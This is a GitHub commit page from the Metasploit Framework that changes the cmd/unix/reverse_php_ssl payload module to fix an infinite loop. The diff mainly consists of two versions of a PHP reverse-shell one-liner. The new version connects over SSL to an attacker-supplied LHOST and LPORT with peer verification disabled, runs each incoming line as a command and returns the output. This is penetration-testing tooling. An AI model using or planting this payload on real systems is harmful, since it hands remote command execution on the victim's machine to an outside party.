Skip to content

Commit 99e278f

Browse files
committed
Land rapid7#9584, Fix reverse_php_ssl infinite loop
2 parents 855fbc1 + 77b3673 commit 99e278f

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/payloads/singles/cmd/unix/reverse_php_ssl.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 132
12+
CachedSize = 253
1313

1414
include Msf::Payload::Single
1515
include Msf::Sessions::CommandShellOptions
@@ -49,6 +49,6 @@ def command_string
4949
lhost = datastore['LHOST']
5050
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
5151
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
52-
cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&"
52+
cmd = "php -r '$ctxt=stream_context_create([\"ssl\"=>[\"verify_peer\"=>false]]);while($s=@stream_socket_client(\"ssl://#{datastore['LHOST']}:#{datastore['LPORT']}\",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}}'&"
5353
end
5454
end

0 commit comments

Comments
 (0)